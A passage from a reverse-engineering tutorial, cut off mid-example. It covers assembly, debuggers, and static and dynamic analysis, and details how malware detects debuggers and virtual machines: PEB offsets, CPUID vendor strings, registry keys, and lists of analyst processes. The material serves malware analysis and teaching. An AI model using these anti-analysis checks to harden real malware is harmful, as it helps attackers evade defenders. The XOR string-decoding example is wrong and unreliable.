Reverse Engineering

Purpose: Comprehensive guide to reverse engineering binaries, understanding assembly code, bypassing protections, and developing exploits for security research, malware analysis, and CTF competitions.

---

Table of Contents

1. Overview
2. Reverse Engineering Fundamentals
3. Static Analysis
4. Dynamic Analysis
5. Platform-Specific Reversing
6. Anti-Reversing Techniques
7. Exploit Development
8. Practical Workflows
9. Tools Reference

---

Overview

What is Reverse Engineering?

Reverse engineering is the process of analyzing a compiled binary (executable, library, firmware) to understand its functionality, identify vulnerabilities, or modify its behavior without access to source code.

Common use cases:

• Malware analysis: Understanding malicious binaries
• Vulnerability research: Finding security flaws in proprietary software
• Exploit development: Creating proof-of-concept exploits for vulnerabilities
• CTF competitions: Solving binary exploitation and reverse engineering challenges
• Software auditing: Verifying security of closed-source applications
• License verification: Analyzing software protection mechanisms (ethical use only)
• Interoperability: Understanding proprietary protocols or file formats

Legal & Ethical Considerations

Legal risks:

• DMCA Section 1201 (US): Prohibits circumventing technological protection measures (DRM, software activation)
• Computer Fraud and Abuse Act (CFAA): Unauthorized access to computer systems
• Software license agreements: May prohibit reverse engineering (enforceability varies)
• Copyright law: Reverse engineering for interoperability generally permitted (fair use)

Ethical guidelines:

• ✅ Reverse engineering for security research (responsible disclosure)
• ✅ Analyzing malware in isolated environments
• ✅ CTF competitions and educational challenges
• ✅ Interoperability and compatibility research
• ❌ Circumventing software licensing for piracy
• ❌ Developing exploits for malicious purposes
• ❌ Violating terms of service without authorization

Best practices:

• Obtain authorization before reversing proprietary software
• Use isolated lab environments (VMs, air-gapped systems)
• Follow responsible disclosure for vulnerabilities
• Respect intellectual property rights
• Document legal basis for reverse engineering activities

Reverse Engineering Methodology

Standard workflow:

graph TD
    A[Obtain Binary] --> B[Initial Triage]
    B --> C[Static Analysis]
    C --> D[Dynamic Analysis]
    D --> E[Hypothesis Formation]
    E --> F{Goal Achieved?}
    F -->|No| C
    F -->|Yes| G[Documentation]
    G --> H[Exploit/Report]

Step-by-step:

1. Triage: Identify file type, architecture, protections
2. Static analysis: Disassemble, decompile, analyze strings/imports
3. Dynamic analysis: Debug, trace execution, monitor behavior
4. Iterative refinement: Alternate between static/dynamic until goal achieved
5. Documentation: Document findings, create exploits or reports

---

Reverse Engineering Fundamentals

Assembly Language Basics

Why assembly matters:

• Compiled binaries are machine code (assembly is human-readable representation)
• Understanding assembly is essential for reversing (no source code available)
• Different architectures have different instruction sets (x86, ARM, MIPS)

Common architectures:

Architecture	Bit Width	Common Use	Examples
x86	32-bit	Legacy Windows, Linux	EXE, ELF (32-bit)
x64 (x86-64)	64-bit	Modern Windows, Linux, macOS	EXE, ELF, Mach-O (64-bit)
ARM	32/64-bit	Mobile devices, IoT, Apple Silicon	Android, iOS, embedded systems
MIPS	32/64-bit	Routers, embedded systems	Firmware

x86/x64 Assembly Fundamentals

Registers (x86 32-bit):

; General-purpose registers:
EAX - Accumulator (arithmetic, return values)
EBX - Base (pointer to data)
ECX - Counter (loop counters)
EDX - Data (I/O, arithmetic)
 
; Pointer registers:
ESP - Stack Pointer (top of stack)
EBP - Base Pointer (stack frame base)
ESI - Source Index (string/memory operations)
EDI - Destination Index (string/memory operations)
 
; Instruction pointer:
EIP - Instruction Pointer (next instruction address)
 
; Flags register:
EFLAGS - Flags (Zero Flag, Carry Flag, Sign Flag, etc.)

Registers (x64 64-bit):

; x64 extends 32-bit registers to 64-bit:
RAX, RBX, RCX, RDX, RSI, RDI, RSP, RBP, RIP
 
; Additional registers (r8-r15):
R8, R9, R10, R11, R12, R13, R14, R15
 
; Lower 32-bit access:
EAX (lower 32 bits of RAX)
R8D (lower 32 bits of R8)
 
; Lower 16-bit access:
AX (lower 16 bits of RAX)
R8W (lower 16 bits of R8)
 
; Lower 8-bit access:
AL (lower 8 bits of RAX)
R8B (lower 8 bits of R8)

Common instructions:

; Data movement:
mov eax, 0x42          ; Move value 0x42 into EAX
lea eax, [ebp-0x10]    ; Load effective address (pointer arithmetic)
push eax               ; Push EAX onto stack, decrement ESP
pop eax                ; Pop top of stack into EAX, increment ESP
 
; Arithmetic:
add eax, ebx           ; EAX = EAX + EBX
sub eax, 0x10          ; EAX = EAX - 0x10
inc eax                ; EAX = EAX + 1
dec eax                ; EAX = EAX - 1
mul ebx                ; EAX = EAX * EBX (unsigned)
imul ebx               ; EAX = EAX * EBX (signed)
div ebx                ; EAX = EAX / EBX, EDX = remainder
 
; Logical operations:
and eax, 0xFF          ; Bitwise AND (mask lower 8 bits)
or eax, ebx            ; Bitwise OR
xor eax, eax           ; XOR (common idiom to zero register: EAX = 0)
not eax                ; Bitwise NOT (invert all bits)
shl eax, 2             ; Shift left (multiply by 4)
shr eax, 2             ; Shift right (divide by 4)
 
; Control flow:
cmp eax, ebx           ; Compare EAX and EBX (sets flags)
test eax, eax          ; Bitwise AND, set flags (check if zero)
jmp 0x401000           ; Unconditional jump
je 0x401000            ; Jump if equal (ZF=1)
jne 0x401000           ; Jump if not equal (ZF=0)
jg 0x401000            ; Jump if greater (signed)
jl 0x401000            ; Jump if less (signed)
ja 0x401000            ; Jump if above (unsigned)
jb 0x401000            ; Jump if below (unsigned)
call 0x401000          ; Call function (push return address, jump)
ret                    ; Return from function (pop return address, jump)
 
; String operations:
rep movsb              ; Repeat: move byte from ESI to EDI, decrement ECX
rep stosb              ; Repeat: store AL at EDI, decrement ECX

Calling Conventions

Calling conventions define how functions receive arguments and return values.

Windows x86 (32-bit):

stdcall (WinAPI standard):

; Arguments pushed right-to-left onto stack
; Callee cleans up stack (ret 0xN)
 
; Example: MessageBoxA(NULL, "Hello", "Title", MB_OK)
push 0                 ; MB_OK (arg 4)
push offset aTitle     ; "Title" (arg 3)
push offset aHello     ; "Hello" (arg 2)
push 0                 ; NULL (arg 1)
call MessageBoxA
; Callee (MessageBoxA) cleans stack with "ret 0x10"

cdecl (C standard):

; Arguments pushed right-to-left onto stack
; Caller cleans up stack (add esp, 0xN)
 
; Example: printf("Value: %d", 42)
push 42                ; arg 2
push offset aFormat    ; "Value: %d" (arg 1)
call printf
add esp, 0x8           ; Caller cleans stack (2 args * 4 bytes)

fastcall:

; First 2 arguments in ECX, EDX
; Remaining arguments on stack
 
; Example: fastcall_func(1, 2, 3, 4)
push 4                 ; arg 4 (stack)
push 3                 ; arg 3 (stack)
mov edx, 2             ; arg 2 (register)
mov ecx, 1             ; arg 1 (register)
call fastcall_func

Windows x64:

Microsoft x64 calling convention:

; First 4 arguments in registers: RCX, RDX, R8, R9
; Remaining arguments on stack
; Caller allocates 32-byte "shadow space" on stack
; Caller cleans stack
 
; Example: func(1, 2, 3, 4, 5, 6)
sub rsp, 0x28          ; Allocate shadow space (32 bytes) + align
mov qword [rsp+0x28], 6  ; arg 6 (stack)
mov qword [rsp+0x20], 5  ; arg 5 (stack)
mov r9, 4              ; arg 4 (register)
mov r8, 3              ; arg 3 (register)
mov rdx, 2             ; arg 2 (register)
mov rcx, 1             ; arg 1 (register)
call func
add rsp, 0x28          ; Clean up

Linux x64 (System V AMD64 ABI):

; First 6 arguments in registers: RDI, RSI, RDX, RCX, R8, R9
; Remaining arguments on stack
; Return value in RAX
 
; Example: func(1, 2, 3, 4, 5, 6, 7)
push 7                 ; arg 7 (stack)
mov r9, 6              ; arg 6 (register)
mov r8, 5              ; arg 5 (register)
mov rcx, 4             ; arg 4 (register)
mov rdx, 3             ; arg 3 (register)
mov rsi, 2             ; arg 2 (register)
mov rdi, 1             ; arg 1 (register)
call func
add rsp, 0x8           ; Clean up

Stack Frames

Function prologue (setup stack frame):

push ebp               ; Save old base pointer
mov ebp, esp           ; Set new base pointer (current stack top)
sub esp, 0x20          ; Allocate 32 bytes for local variables

Stack layout:

High memory
-----------------
[Return address]   <-- Pushed by CALL instruction
[Saved EBP]        <-- EBP points here
[Local var 1]      <-- EBP-0x4
[Local var 2]      <-- EBP-0x8
[Local var 3]      <-- EBP-0xC
...                <-- ESP points here (top of stack)
Low memory

Function epilogue (cleanup stack frame):

mov esp, ebp           ; Restore stack pointer
pop ebp                ; Restore old base pointer
ret                    ; Return to caller (pop return address, jump)

Accessing arguments and local variables:

; Arguments (above EBP):
mov eax, [ebp+0x8]     ; First argument (after return address)
mov ebx, [ebp+0xC]     ; Second argument
 
; Local variables (below EBP):
mov [ebp-0x4], eax     ; Store EAX in local var 1
mov ecx, [ebp-0x8]     ; Load local var 2 into ECX

---

Static Analysis

Disassemblers & Decompilers

Static analysis examines the binary without executing it.

Popular tools:

Tool	Type	Platform	Strengths	Cost
IDA Pro	Disassembler/Decompiler	Windows, Linux, macOS	Industry standard, Hex-Rays decompiler, scripting (IDAPython)	Commercial ($$$)
Ghidra	Disassembler/Decompiler	Windows, Linux, macOS	Free, NSA-developed, excellent decompiler, Java/Python scripting	Free
Binary Ninja	Disassembler/Decompiler	Windows, Linux, macOS	Modern UI, BNIL (intermediate language), Python API	Commercial ($$)
Radare2	Disassembler	Windows, Linux, macOS	CLI-based, scriptable, FLIRT signatures	Free
Hopper	Disassembler/Decompiler	macOS, Linux	macOS/iOS focus, ARM support	Commercial ($)
Cutter	Disassembler	Windows, Linux, macOS	GUI for Radare2	Free

IDA Pro Basics

Loading a binary:

# Launch IDA Pro (Windows):
ida64.exe malware.exe
 
# Linux:
./ida64 malware.elf

Key IDA features:

1. Disassembly view:

.text:00401000 55                    push    ebp
.text:00401001 8B EC                 mov     ebp, esp
.text:00401003 83 EC 20              sub     esp, 20h
.text:00401006 C7 45 FC 00 00 00 00  mov     dword ptr [ebp-4], 0
.text:0040100D EB 09                 jmp     short loc_401018

2. Hex-Rays decompiler (F5):

int __cdecl main(int argc, const char **argv) {
    int counter = 0;
    while (counter < 10) {
        printf("Counter: %d\n", counter);
        counter++;
    }
    return 0;
}

3. Strings window (Shift+F12):

Address   String
00402000  "Password: "
00402010  "Access granted!"
00402020  "Access denied!"
00402030  "https://malicious-c2.com/api"

4. Imports/Exports (View → Open subviews → Imports):

Address   Library      Function
00401000  kernel32.dll CreateFileA
00401008  kernel32.dll WriteFile
00401010  ws2_32.dll   WSAStartup
00401018  ws2_32.dll   connect

5. Cross-references (Xrefs):

; Right-click on function/data → "Jump to xref to operand"
; Shows all locations that call this function or reference this data

.text:00401000 CreateFileA:
    .text:00401050  call CreateFileA  ; First xref
    .text:00401100  call CreateFileA  ; Second xref

IDA Pro shortcuts:

Key	Action
Space	Toggle graph view / text view
F5	Decompile function (Hex-Rays)
N	Rename symbol
X	Show cross-references (xrefs)
G	Jump to address
Esc	Go back
;	Add comment
:	Add repeatable comment
Y	Change function prototype
D	Convert to data
C	Convert to code
U	Undefine

IDAPython scripting:

# IDAPython: Rename all functions starting with "sub_"
import idc
import idaapi
 
for func_ea in Functions():
    func_name = idc.get_func_name(func_ea)
    if func_name.startswith("sub_"):
        # Rename based on strings or behavior
        new_name = "analyze_me_" + func_name
        idc.set_name(func_ea, new_name, idc.SN_CHECK)
        print(f"Renamed {func_name} to {new_name}")

Ghidra Basics

Launching Ghidra:

# Linux/macOS:
./ghidraRun
 
# Windows:
ghidraRun.bat

Creating a project and importing binary:

1. File → New Project → Non-Shared Project
2. File → Import File → Select binary
3. Analyze with default options (click “Yes” when prompted)

Ghidra interface:

1. CodeBrowser (main window):

• Listing: Disassembly view (assembly code)
• Decompiler: Decompiled C-like code (click on function)
• Function Graph: Control flow graph

2. Decompiler view:

void main(void) {
  int counter = 0;
  while (counter < 10) {
    printf("Counter: %d\n", counter);
    counter = counter + 1;
  }
  return;
}

3. Symbol Tree:

• Functions, imports, exports, strings
• Right-click → “References to” (find xrefs)

Ghidra shortcuts:

Key	Action
L	Rename variable/function
;	Add comment (EOL comment)
Ctrl+Shift+G	Goto address
Ctrl+Shift+E	Edit function signature
G	Goto (jump to reference)
Ctrl+/	Add/remove bookmark

Ghidra scripting (Python):

# Ghidra Python: Find all calls to "strcpy" (dangerous function)
from ghidra.program.model.symbol import RefType
 
strcpy_func = getFunction("strcpy")
if strcpy_func:
    refs = getReferencesTo(strcpy_func.getEntryPoint())
    for ref in refs:
        if ref.getReferenceType() == RefType.UNCONDITIONAL_CALL:
            caller = getFunctionContaining(ref.getFromAddress())
            print(f"strcpy called from: {caller.getName()} at {ref.getFromAddress()}")

String Analysis

Why strings matter:

• Reveal functionality (API endpoints, file paths, error messages)
• Provide clues for password/license checks
• Indicate malware C2 servers or exfiltration targets

Extracting strings:

# Linux: strings command
strings malware.bin | grep -i "password"
strings -e l malware.bin  # Unicode (little-endian) strings
 
# Windows: Sysinternals strings.exe
strings64.exe malware.exe | findstr /i "http"
 
# IDA Pro: Shift+F12 (Strings window)
# Ghidra: Window → Defined Strings

Obfuscated strings:

Malware often hides strings via encoding/encryption:

// Example: XOR-encoded string
char encoded[] = {0x1F, 0x0E, 0x0C, 0x0C, 0x18, 0x05, 0x3B, 0x00};
char decoded[9];
 
for (int i = 0; i < 8; i++) {
    decoded[i] = encoded[i] ^ 0x42;  // XOR with key 0x42
}
decoded[8] = '\0';
// Result: "MALWARE"

Decoding in IDA/Ghidra:

• Identify decoding loop in disassembly
• Extract encoded data and XOR key
• Write script to decode:

# IDAPython: Decode XOR-encoded string
encoded = [0x1F, 0x0E, 0x0C, 0x0C, 0x18, 0x05, 0x3B]
key = 0x42
decoded = ''.join(chr(b ^ key) for b in encoded)
print(f"Decoded: {decoded}")

Import/Export Analysis

Imports reveal which external functions the binary uses (Windows API, libc, etc.).

Windows PE imports:

kernel32.dll:
  - CreateFileA       (file operations)
  - WriteFile         (write to file)
  - CreateProcessA    (spawn process)

ws2_32.dll:
  - WSAStartup        (network initialization)
  - socket            (create socket)
  - connect           (connect to remote host)

user32.dll:
  - MessageBoxA       (display message)

Suspicious import patterns:

Imports	Likely Functionality
CreateFileA, WriteFile, ReadFile	File operations (ransomware, data theft)
WSAStartup, socket, connect	Network communication (C2, data exfiltration)
CreateProcessA, ShellExecuteA	Process execution (dropper, backdoor)
VirtualAlloc, WriteProcessMemory	Code injection (process hollowing)
RegOpenKeyExA, RegSetValueExA	Registry modification (persistence)
CryptEncrypt, CryptDecrypt	Encryption (ransomware, data protection)

Analyzing imports in IDA:

1. View → Open subviews → Imports
2. Double-click on import to see where it’s called (xrefs)

Analyzing imports in Ghidra:

1. Symbol Tree → Imports
2. Right-click → References to (show xrefs)

---

Dynamic Analysis

Debuggers

Dynamic analysis examines the binary during execution.

Popular debuggers:

Debugger	Platform	Best For
x64dbg	Windows	User-mode debugging, malware analysis, CTF
WinDbg	Windows	Kernel debugging, crash dumps, advanced Windows internals
GDB	Linux, macOS	Linux/macOS binaries, exploit development, scriptable with Python
LLDB	macOS, Linux	macOS/iOS debugging, modern alternative to GDB
OllyDbg	Windows	Legacy 32-bit Windows debugging (x64dbg is successor)
IDA Pro Debugger	Windows, Linux, macOS	Integrated with IDA disassembly

x64dbg Basics

Launching x64dbg:

# Windows: Launch x32dbg.exe (32-bit) or x64dbg.exe (64-bit)
x64dbg.exe malware.exe
 
# Or: File → Open → Select binary

x64dbg interface:

1. CPU view (disassembly):

00401000 | 55                 | push ebp
00401001 | 8B EC              | mov ebp, esp
00401003 | 83 EC 20           | sub esp, 0x20
00401006 | C7 45 FC 00 00 00 00 | mov dword ptr [ebp-4], 0

2. Registers:

RAX = 0000000000000000
RBX = 0000000000000000
RCX = 0000000000401000
RDX = 0000000000000000
RSP = 000000000012FF00
RBP = 000000000012FF20
RIP = 0000000000401000  <-- Current instruction

3. Stack:

Address       Value             Comment
0012FF00      00000000
0012FF04      00401050          Return address
0012FF08      00000001          Argument 1
0012FF0C      00402000          Argument 2

4. Memory dump:

Address   Hex                               ASCII
00402000  48 65 6C 6C 6F 20 57 6F 72 6C 64  Hello World

Setting breakpoints:

1. Software breakpoint (F2):

• Click on instruction → Press F2 (or right-click → Breakpoint → Toggle)
• Breaks when instruction is executed
• Use case: Break on function entry, suspicious API calls

2. Hardware breakpoint:

• Debug → Hardware breakpoints
• Up to 4 hardware breakpoints (CPU limitation)
• Can break on execution, read, or write of memory address
• Use case: Break when memory is modified (anti-debugging detection)

3. Memory breakpoint:

• Right-click in memory dump → Breakpoint → Memory Access (read/write/execute)
• Use case: Track when buffer is written, monitor heap allocations

4. Conditional breakpoint:

• Right-click on breakpoint → Edit
• Set condition (e.g., RAX == 0x42)
• Use case: Break only when specific value is encountered

x64dbg commands (command line at bottom):

# Execution control:
run                    # Start execution
StepInto               # F7 - Step into function call
StepOver               # F8 - Step over function call
StepOut                # Ctrl+F9 - Run until return
RunToUser              # Alt+F9 - Run until user code (skip system DLLs)
 
# Breakpoints:
bp 401000              # Set breakpoint at address 0x401000
bp CreateFileA         # Set breakpoint on function
bc 401000              # Clear breakpoint
bl                     # List breakpoints
 
# Memory:
dump 402000            # Show memory dump at address
d eax                  # Dump memory at address in EAX
db 402000              # Dump bytes
dd 402000              # Dump dwords
da 402000              # Dump ASCII string
 
# Registers:
r eax = 42             # Set EAX to 0x42
r rip = 401000         # Set instruction pointer (change execution flow)
 
# Search:
find 402000, "password"   # Search for string in memory
findall "http://"         # Find all occurrences
 
# Comments:
cmt 401000, "Main function starts here"

Tracing execution:

# Trace into (log every instruction):
TraceIntoConditional rax == 0
 
# Trace over (log every function call):
TraceOverConditional
 
# Run trace (high-speed logging):
# Debug → Run Trace → Start
# Generates trace log for later analysis

GDB Basics

Launching GDB:

# Linux: Debug ELF binary
gdb ./program
 
# Attach to running process:
gdb -p <PID>
 
# With arguments:
gdb --args ./program arg1 arg2

GDB commands:

# Execution control:
run                    # Start execution (or "r")
continue               # Continue execution (or "c")
step                   # Step into (single instruction, or "s")
next                   # Step over (or "n")
stepi                  # Step single assembly instruction (or "si")
nexti                  # Step over single assembly instruction (or "ni")
finish                 # Run until function returns
 
# Breakpoints:
break main             # Break at function "main" (or "b main")
break *0x401000        # Break at address 0x401000
break file.c:42        # Break at source line (if symbols available)
info breakpoints       # List breakpoints (or "info b")
delete 1               # Delete breakpoint 1
disable 1              # Disable breakpoint 1
enable 1               # Enable breakpoint 1
 
# Watchpoints (break on memory access):
watch *0x601000        # Break when memory at 0x601000 is written
rwatch *0x601000       # Break when memory is read
awatch *0x601000       # Break when memory is read or written
 
# Examining memory:
x/10i $rip             # Examine 10 instructions at RIP (disassembly)
x/10x $rsp             # Examine 10 hex values at RSP (stack)
x/s 0x401000           # Examine string at address
x/10gx $rsp            # Examine 10 giant (8-byte) hex values
 
# Registers:
info registers         # Show all registers (or "info r")
print $rax             # Print RAX value (or "p $rax")
set $rax = 0x42        # Set RAX to 0x42
 
# Disassembly:
disassemble main       # Disassemble function "main" (or "disas main")
disassemble 0x401000   # Disassemble at address
 
# Backtrace (call stack):
backtrace              # Show call stack (or "bt")
frame 2                # Switch to frame 2 in call stack
info frame             # Show current frame info
 
# Search memory:
find 0x400000, +0x10000, "password"  # Search for string
 
# GDB-specific:
set disassembly-flavor intel  # Use Intel syntax (default is AT&T)
layout asm             # Show TUI (Text UI) with disassembly
layout regs            # Show TUI with registers

GDB with PEDA/GEF/pwndbg (enhanced plugins):

# Install PEDA (Python Exploit Development Assistance):
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
 
# Install GEF (GDB Enhanced Features):
wget -O ~/.gdbinit-gef.py https://github.com/hugsy/gef/raw/master/gef.py
echo "source ~/.gdbinit-gef.py" >> ~/.gdbinit
 
# Install pwndbg:
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
 
# PEDA/GEF/pwndbg add commands:
checksec               # Check binary protections (NX, PIE, RELRO, Canary)
vmmap                  # Show memory mappings
telescope $rsp 20      # Show stack with dereferenced pointers
pattern create 200     # Create cyclic pattern for finding offsets
pattern offset 0x41614141  # Find offset of pattern in EIP/RIP
rop                    # Search for ROP gadgets

Bypassing Anti-Debugging

MITRE ATT&CK: T1622 — Debugger Evasion

Anti-debug primitives appear in nearly every protected sample. The list below covers the checks you will encounter most often, with exact PEB offsets and NtQueryInformationProcess class numbers — these are stable across Windows 10 and 11 (x64) and pinned to Microsoft’s documented _PEB and PROCESSINFOCLASS definitions. [verify 2026-04-25] for kernel build-specific PEB offsets above 0x100.

1. IsDebuggerPresent (Windows):

; Check if debugger is attached
call IsDebuggerPresent
test eax, eax
jnz debugger_detected   ; Jump if EAX != 0 (debugger present)

Bypass:

# x64dbg: Set breakpoint on IsDebuggerPresent, modify return value
bp IsDebuggerPresent
# When hit: Set RAX = 0 (no debugger)
r rax = 0

2. CheckRemoteDebuggerPresent:

Variant of IsDebuggerPresent that queries the kernel via NtQueryInformationProcess(ProcessDebugPort). Patching IsDebuggerPresent alone does not defeat this — bypass NtQueryInformationProcess instead (see #4) or use ScyllaHide.

push offset isPresent      ; out BOOL
push -1                    ; pseudo-handle for current process
call CheckRemoteDebuggerPresent

3. PEB BeingDebugged flag and NtGlobalFlag:

Both fields live inside the PEB (Process Environment Block) and are read directly without an API call, evading user-mode hooks on IsDebuggerPresent.

; 32-bit: PEB via FS:[0x30]
mov eax, fs:[0x30]
movzx eax, byte ptr [eax+0x02]   ; PEB.BeingDebugged
test eax, eax
jnz  debugger_detected
 
mov eax, fs:[0x30]
mov  eax, dword ptr [eax+0x68]   ; PEB.NtGlobalFlag (32-bit)
and  eax, 0x70                   ; FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS
cmp  eax, 0x70                   ; All three set → debugger created the heap
je   debugger_detected

; 64-bit: PEB via GS:[0x60]
mov rax, gs:[0x60]
movzx eax, byte ptr [rax+0x02]   ; PEB.BeingDebugged (still offset 0x02)
test eax, eax
jnz  debugger_detected
 
mov rax, gs:[0x60]
mov eax, dword ptr [rax+0xBC]    ; PEB.NtGlobalFlag (64-bit)
and eax, 0x70
cmp eax, 0x70
je  debugger_detected

Heap header flag derivative checks: PEB.ProcessHeap → Heap.Flags (normally 0x2, debugger sets 0x50000062) and Heap.ForceFlags (normally 0x0, debugger sets 0x40000060).

Bypass (manual):

# x64dbg: locate PEB (Memory Map → "PEB"), zero the relevant bytes
# 32-bit: PEB+0x02 (BeingDebugged), PEB+0x68 (NtGlobalFlag)
# 64-bit: PEB+0x02 (BeingDebugged), PEB+0xBC (NtGlobalFlag)

Bypass (automated — preferred): Install ScyllaHide plugin in x64dbg, OllyDbg, or IDA. Enable PEB BeingDebugged, PEB NtGlobalFlag, and PEB HeapFlags protections. ScyllaHide patches all three transparently and survives common detection retries.

4. NtQueryInformationProcess (kernel-query family):

// PROCESSINFOCLASS values commonly abused:
#define ProcessDebugPort         0x07   // returns non-zero if debugged
#define ProcessDebugObjectHandle 0x1E   // returns valid handle if debugged
#define ProcessDebugFlags        0x1F   // returns 0 if debugged (NoDebugInherit inverted)

// Detection pattern (decompiled):
HANDLE port = 0;
NtQueryInformationProcess(GetCurrentProcess(), ProcessDebugPort, &port, sizeof(port), NULL);
if (port) goto debugger_detected;
 
DWORD flags = 0;
NtQueryInformationProcess(GetCurrentProcess(), ProcessDebugFlags, &flags, sizeof(flags), NULL);
if (flags == 0) goto debugger_detected;

Bypass: Set a breakpoint on ntdll!NtQueryInformationProcess. On entry, inspect the second argument (ProcessInformationClass register, RDX on x64). If it equals 0x07, 0x1E, or 0x1F, let the call return then zero the output buffer (or for ProcessDebugFlags, write 1). ScyllaHide’s “NtQueryInformationProcess” hook does this automatically.

5. Hardware breakpoint detection (DR0–DR3):

Malware reads the debug registers via GetThreadContext and flags any non-zero value as a hardware breakpoint.

CONTEXT ctx = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
GetThreadContext(GetCurrentThread(), &ctx);
if (ctx.Dr0 || ctx.Dr1 || ctx.Dr2 || ctx.Dr3) goto debugger_detected;

Bypass: Switch to software breakpoints (F2 in x64dbg sets a software INT3 — DR0–DR3 stay zero), or hook GetThreadContext via ScyllaHide to mask the debug-register fields before return.

6. Window/process enumeration:

Malware calls FindWindow / EnumWindows and EnumProcesses looking for known debugger and analyst tooling. Pattern-match these strings against your tool inventory and rename / hide accordingly:

Window classes: OLLYDBG, WinDbgFrameClass, ID, Qt5QWindowIcon (x64dbg),
                Qt5152QWindowIcon, IDA — disassembler, GHIDRA
Processes:      ollydbg.exe, x32dbg.exe, x64dbg.exe, windbg.exe,
                ida.exe, ida64.exe, ghidra.exe, dnspy.exe, dnSpy-x86.exe,
                cheatengine-x86_64.exe, scylla.exe, immunitydebugger.exe

ScyllaHide’s “FindWindow” hook returns NULL for these classes; renaming the binary itself is the simplest bypass.

7. Timing checks (GetTickCount / QueryPerformanceCounter):

// Measure time between two points (debugger slows execution)
DWORD start = GetTickCount();
// ... some code ...
DWORD end = GetTickCount();
if (end - start > 1000) {
    // Debugger detected (took too long)
}

Bypass:

# x64dbg: Modify timing values or patch comparison
# Set breakpoint before comparison, modify end value:
r eax = <start_value>  # Make time difference = 0

ScyllaHide’s “GetTickCount Hook” returns a fake monotonic delta that defeats the entire timing-check family without per-sample patching.

8. RDTSC (Read Time-Stamp Counter):

rdtsc                   ; Read CPU timestamp into EDX:EAX
mov ebx, eax            ; Save timestamp
; ... some code ...
rdtsc                   ; Read timestamp again
sub eax, ebx            ; Calculate difference
cmp eax, 0x1000         ; Check if too slow
ja debugger_detected

Bypass:

# Patch RDTSC or comparison
# x64dbg: Assemble → Replace "cmp eax, 0x1000" with "cmp eax, 0xFFFFFFFF"

For VMs, you can also disable user-mode rdtsc by setting CR4.TSD so it traps to ring 0, where the hypervisor returns a synthetic value — useful when the malware checks RDTSC in a tight loop and the comparison threshold is hidden. [inferred — practical effect; behavior depends on host VMM support]

9. Exception-based anti-debugging:

// Debugger handles exceptions differently
__try {
    int x = *(int*)0x00000000;  // Trigger exception
} __except(EXCEPTION_EXECUTE_HANDLER) {
    // No debugger (exception handled normally)
}

Bypass:

# x64dbg: Set exception handling options
# Options → Preferences → Exceptions → Pass all exceptions to debugged program
# Codes commonly used as detection primitives:
#   0x80000003  STATUS_BREAKPOINT (INT3)
#   0xC0000094  STATUS_INTEGER_DIVIDE_BY_ZERO
#   0xC0000005  STATUS_ACCESS_VIOLATION

Anti-VM / Sandbox Detection

MITRE ATT&CK: T1497 — Virtualization/Sandbox Evasion

Most malware will fingerprint the analysis VM before executing the payload. Reverse engineers should know the canonical primitives so static analysis can flag the check and dynamic analysis can patch it.

1. CPUID hypervisor bit (EAX=1, ECX bit 31):

mov eax, 1
cpuid
bt  ecx, 31              ; Hypervisor present bit
jc  vm_detected

A second CPUID call with EAX=0x40000000 returns a 12-byte hypervisor vendor string in EBX/ECX/EDX:

Vendor string	Hypervisor
VMwareVMware	VMware ESXi/Workstation/Fusion
KVMKVMKVM\0\0\0	Linux KVM (also QEMU/KVM)
VBoxVBoxVBox	Oracle VirtualBox
Microsoft Hv	Hyper-V / WSL2
XenVMMXenVMM	Xen
prl hyperv	Parallels

Bypass (host side):

• VirtualBox: VBoxManage modifyvm "<VM>" --paravirtprovider none
• VMware .vmx: hypervisor.cpuid.v0 = "FALSE"
• KVM/QEMU: launch with -cpu host,-hypervisor to clear the bit

2. Registry artifact checks:

HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions
HKLM\SOFTWARE\VMware, Inc.\VMware Tools
HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest, VBoxMouse, VBoxSF
HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs, vmci, vmmouse
HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\...\Identifier
  → "VBOX HARDDISK" / "VMware Virtual IDE Hard Drive"
HKLM\HARDWARE\DESCRIPTION\System\SystemBiosVersion
  → "VBOX" / "VMWARE"

Bypass: Uninstall guest additions, delete the leftover service keys, and spoof BIOS/DMI strings via VBoxManage setextradata (DmiBIOSVendor, DmiBIOSVersion, DmiSystemProduct, DmiSystemVendor, DmiBoardProduct, DmiChassisVendor).

3. Process and device probes:

Processes: vboxservice.exe, vboxtray.exe, vmtoolsd.exe, vmwaretray.exe,
           vmacthlp.exe, prl_tools.exe
Devices:   \\.\VBoxGuest, \\.\VBoxMiniRdrDN, \\.\vmci, \\.\HGFS

4. MAC OUI checks:

08:00:27   VirtualBox
00:0C:29 / 00:50:56 / 00:1C:14 / 00:05:69   VMware
00:03:FF   Microsoft Hyper-V
52:54:00   QEMU

Bypass: VBoxManage modifyvm "<VM>" --macaddress1 <real-vendor-OUI> (Intel 8C:8D:28, Realtek 00:E0:4C, etc.).

5. Hardware-thinness / “no real user” heuristics:

Check	Sandbox default	Realistic value
Single CPU core	1	≥ 2
RAM < 2 GB	1 GB	≥ 4 GB
Disk < 60 GB	20 GB	≥ 100 GB
GetTickCount() uptime	< 10 min	run VM 30+ min before detonation
GetCursorPos() static between calls	yes	inject mouse jitter
Empty %USERPROFILE%\Documents, no recent files, no browser history	yes	pre-populate

6. Validating the hardened VM:

Before analyzing an evasive sample, run pafish (github.com/a0rtega/pafish) for a quick pass/fail report, or al-khaser (github.com/LordNoteworthy/al-khaser) for the comprehensive 170+ check matrix. Red lines indicate artifacts the malware will use to detect you. For deep transparency, VBoxHardenedLoader (github.com/hfiref0x/VBoxHardenedLoader) patches the VirtualBox kernel driver to suppress CPUID and device-name leaks while keeping shared folders functional.

Dynamic Instrumentation (Frida)

Frida allows runtime modification without a debugger.

Installing Frida:

# Python:
pip install frida frida-tools
 
# Verify:
frida --version

Hooking functions:

// Frida JavaScript: Hook MessageBoxA on Windows
// Save as hook.js
 
Interceptor.attach(Module.findExportByName("user32.dll", "MessageBoxA"), {
    onEnter: function(args) {
        console.log("[MessageBoxA] Called!");
        console.log("  hWnd: " + args[0]);
        console.log("  Text: " + Memory.readUtf8String(args[1]));
        console.log("  Title: " + Memory.readUtf8String(args[2]));
        console.log("  Type: " + args[3]);
 
